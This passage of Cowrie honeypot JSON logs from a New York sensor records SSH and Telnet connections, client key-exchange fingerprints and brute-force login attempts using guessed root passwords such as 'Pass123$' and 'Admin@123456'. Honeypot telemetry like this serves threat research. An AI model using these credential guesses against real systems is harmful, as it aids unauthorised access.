sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:28.463922Z","src_ip":"170.106.159.59","session":"4597a3a480bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.95216226577759,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:28.753464Z","src_ip":"152.42.224.71","session":"9d992635dac9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123$","message":"login attempt [root/Pass123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:28.766799Z","src_ip":"170.106.159.59","session":"4597a3a480bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35784,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcf9b8dca840","protocol":"telnet","message":"New connection: 152.42.224.71:35784 (10.17.0.5:23) [session: dcf9b8dca840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:29.190734Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:29.837293Z","src_ip":"170.106.159.59","session":"4597a3a480bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35790,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d1ba360da2","protocol":"telnet","message":"New connection: 152.42.224.71:35790 (10.17.0.5:23) [session: 87d1ba360da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:29.925490Z"}
{"eventid":"cowrie.session.closed","duration":92.3031575679779,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:30.654093Z","src_ip":"152.42.224.71","session":"6382fe6f2d6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.25965976715088,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:30.678448Z","src_ip":"152.42.224.71","session":"ebbdb41acb0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.43523979187012,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:30.976103Z","src_ip":"152.42.224.71","session":"c2a22408f7af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35798,"dst_ip":"10.17.0.5","dst_port":23,"session":"879077d670d0","protocol":"telnet","message":"New connection: 152.42.224.71:35798 (10.17.0.5:23) [session: 879077d670d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:31.622136Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35810,"dst_ip":"10.17.0.5","dst_port":23,"session":"756b1013c33c","protocol":"telnet","message":"New connection: 152.42.224.71:35810 (10.17.0.5:23) [session: 756b1013c33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:32.059824Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":41686,"dst_ip":"10.17.0.5","dst_port":22,"session":"abcc2ab01e8a","protocol":"ssh","message":"New connection: 182.93.50.90:41686 (10.17.0.5:22) [session: abcc2ab01e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:32.213636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:32.217424Z","src_ip":"182.93.50.90","session":"abcc2ab01e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:32.436932Z","src_ip":"182.93.50.90","session":"abcc2ab01e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"itsm123","message":"login attempt [root/itsm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:33.351073Z","src_ip":"182.93.50.90","session":"abcc2ab01e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.244099855422974,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:33.549378Z","src_ip":"152.42.224.71","session":"00f5ce1438dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:34.574815Z","src_ip":"182.93.50.90","session":"abcc2ab01e8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35812,"dst_ip":"10.17.0.5","dst_port":23,"session":"d037feb5655e","protocol":"telnet","message":"New connection: 152.42.224.71:35812 (10.17.0.5:23) [session: d037feb5655e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:34.627193Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":35350,"dst_ip":"10.17.0.5","dst_port":22,"session":"23621df722ea","protocol":"ssh","message":"New connection: 103.82.36.79:35350 (10.17.0.5:22) [session: 23621df722ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:36.710514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:36.871194Z","src_ip":"103.82.36.79","session":"23621df722ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41508,"dst_ip":"159.203.135.109","dst_port":22,"session":"c32fda4a0f03","protocol":"ssh","message":"New connection: 31.40.204.166:41508 (159.203.135.109:22) [session: c32fda4a0f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:36.918477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:36.924437Z","src_ip":"31.40.204.166","session":"c32fda4a0f03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:37.112215Z","src_ip":"31.40.204.166","session":"c32fda4a0f03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:37.447670Z","src_ip":"103.82.36.79","session":"23621df722ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:37.595690Z","src_ip":"31.40.204.166","session":"c32fda4a0f03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45454,"dst_ip":"10.17.0.5","dst_port":23,"session":"e33bdf80a9df","protocol":"telnet","message":"New connection: 152.42.224.71:45454 (10.17.0.5:23) [session: e33bdf80a9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:37.962910Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:38.320492Z","src_ip":"103.82.36.79","session":"23621df722ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:38.800417Z","src_ip":"31.40.204.166","session":"c32fda4a0f03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:39.609794Z","src_ip":"103.82.36.79","session":"23621df722ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e934c777edee","protocol":"telnet","message":"New connection: 152.42.224.71:45464 (10.17.0.5:23) [session: e934c777edee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:41.519104Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":52760,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d552e92fc2","protocol":"ssh","message":"New connection: 43.156.96.97:52760 (10.17.0.5:22) [session: d5d552e92fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:45.141328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:45.146195Z","src_ip":"43.156.96.97","session":"d5d552e92fc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:45.391332Z","src_ip":"43.156.96.97","session":"d5d552e92fc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"itsm123","message":"login attempt [root/itsm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:46.403625Z","src_ip":"43.156.96.97","session":"d5d552e92fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60782,"dst_ip":"10.17.0.5","dst_port":23,"session":"1730241c2171","protocol":"telnet","message":"New connection: 152.42.224.71:60782 (10.17.0.5:23) [session: 1730241c2171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:47.114100Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:47.650618Z","src_ip":"43.156.96.97","session":"d5d552e92fc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55182,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2b7b032aa94","protocol":"ssh","message":"New connection: 31.40.204.166:55182 (159.203.135.109:22) [session: a2b7b032aa94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:49.016758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:49.022503Z","src_ip":"31.40.204.166","session":"a2b7b032aa94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:49.196121Z","src_ip":"31.40.204.166","session":"a2b7b032aa94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:50.110603Z","src_ip":"31.40.204.166","session":"a2b7b032aa94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:51.289647Z","src_ip":"31.40.204.166","session":"a2b7b032aa94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.67852067947388,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:54.547206Z","src_ip":"152.42.224.71","session":"0fac88198b80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60794,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b4d6cd3b40b","protocol":"telnet","message":"New connection: 152.42.224.71:60794 (10.17.0.5:23) [session: 3b4d6cd3b40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:55.377783Z"}
{"eventid":"cowrie.session.closed","duration":38.312254428863525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:46:59.753310Z","src_ip":"152.42.224.71","session":"0334c17e0689","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":32896,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab66d34d376b","protocol":"ssh","message":"New connection: 81.9.145.130:32896 (10.17.0.5:22) [session: ab66d34d376b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:00.847575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:00.853196Z","src_ip":"81.9.145.130","session":"ab66d34d376b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:00.969731Z","src_ip":"81.9.145.130","session":"ab66d34d376b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masoud","message":"login attempt [root/masoud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:01.473738Z","src_ip":"81.9.145.130","session":"ab66d34d376b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46864,"dst_ip":"159.203.135.109","dst_port":22,"session":"db07d0a7dd93","protocol":"ssh","message":"New connection: 31.40.204.166:46864 (159.203.135.109:22) [session: db07d0a7dd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:01.487709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:47:01.515907Z","src_ip":"31.40.204.166","session":"db07d0a7dd93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes